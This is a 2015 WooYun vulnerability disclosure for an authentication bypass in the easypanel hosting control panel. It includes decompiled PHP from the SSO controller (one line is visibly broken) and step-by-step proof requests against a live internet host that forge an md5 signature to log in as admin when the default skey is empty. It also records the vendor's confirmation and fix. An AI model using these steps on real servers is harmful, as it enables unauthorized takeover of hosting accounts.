当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0134768

漏洞标题:easypanel 登陆绕过(补充互联网实例)

相关厂商:kanglesoft.com

漏洞作者: 路人甲

提交时间:2015-08-18 13:49

修复时间:2015-11-16 14:46

公开时间:2015-11-16 14:46

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-18: 细节已通知厂商并且等待厂商处理中
2015-08-18: 厂商已经确认,细节仅向厂商公开
2015-08-21: 细节向第三方安全合作伙伴开放
2015-10-12: 细节向核心白帽子及相关领域专家公开
2015-10-22: 细节向普通白帽子公开
2015-11-01: 细节向实习白帽子公开
2015-11-16: 细节向公众公开

简要描述:

登陆绕过

详细说明:

互联网实例测试失败,是因为这个漏洞的条件是没有修改默认的skey。并不能通杀所有的easypanel。这个条件跟http://wooyun.org/bugs/wooyun-2014-080099 是一样的。如果修改了,就会失效。绕过的逻辑也是一模一样的。因为我估计厂商是把代码直接复制了一份,做了一些修改作为一个应用的。最新版easypanel的解密代码可以从这里下载:链接: http://pan.baidu.com/s/1bn37KOR 密码: uapr 可以看到最新版做了修复。但是另外一处却没有修复。
原理同http://wooyun.org/bugs/wooyun-2010-080099 厂商只修复了文中提到的那个地方。在其他地方有相同的逻辑但是没有修复。 skey默认为空 /vhost/control/sso.ctl.php 代码如下:

<?php
/**
*
* @ IonCube v7 Decoder By DoraemonPT
*
* @ Version : 1,0,0,0
* @ Author : DoraemonPT
* @ Release on : 19-08-2013
* @ Website : http://easytoyou.eu
*
**/
class SsoControl extends Control {
function hello() {
header( 'p3p: CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"' );
session_unset( );
$base_passwd = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_0123456789';
$base_len = strlen( $base_passwd );
$len = 26;
$sess_key = '';
$i = 10;
while ($i < $len) {
$sess_key .= $base_passwd[rand( ) % $base_len];
++$i;
}
$url = $_REQUEST['url'] . '&r=' . $sess_key;
$_SESSION['sess_key'] = $sess_key;
header( 'Cache-Control: no-cache,no-store' );
header( 'Location: ' . $url );
exit( );
}
function login() {
if ($_SESSION['sess_key'] == '') {
exit( 'error,sess_key is empty' );
}
$name = $_REQUEST['name'];
$skey = daocall( 'setting', 'get', array( 'skey' ) );
$str = $_REQUEST['r'] . $name . $_SESSION[sess_key] . $skey;
md5( $str );
$md5str = ;
if (( strtolower( $md5str ) == $_REQUEST['s'] && $_REQUEST['s'] != '' )) {
registerRole( 'vhost', $_REQUEST['name'] );
$_SESSION['login_from'] = 'vhost';
header( 'Location: index.php' );
exit( );
return null;
}
exit( 'login failed' );
}
}
?>
默认skey为空。所以可以伪造$_REQUEST['s'] 登陆任意用户。

漏洞证明:

互联网实例
http://585658.org:3312/vhost/index.php?c=sso&a=hello 获得 sesskey
http://585658.org:3312/vhost/&r=PGrCVugG6dWXig_i
计算 md5(admin+PGrCVugG6dWXig_i)= bffe4aa483803656a824e046aafeb1ef
访问:
http://585658.org:3312/vhost/?c=sso&a=login&name=admin&s=bffe4aa483803656a824e046aafeb1ef
就可以登陆admin账号。不过这个网站admn用户不存在。

屏幕快照 2015-08-17 下午4.16.19.png


修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-08-18 14:44

厂商回复:

已确认,问题确实存在,已修复。
感谢反馈。如有需要,可联系我们客服赠送kangle web server商业版一套。
或dnsdun一年入门版套餐

最新状态:

暂无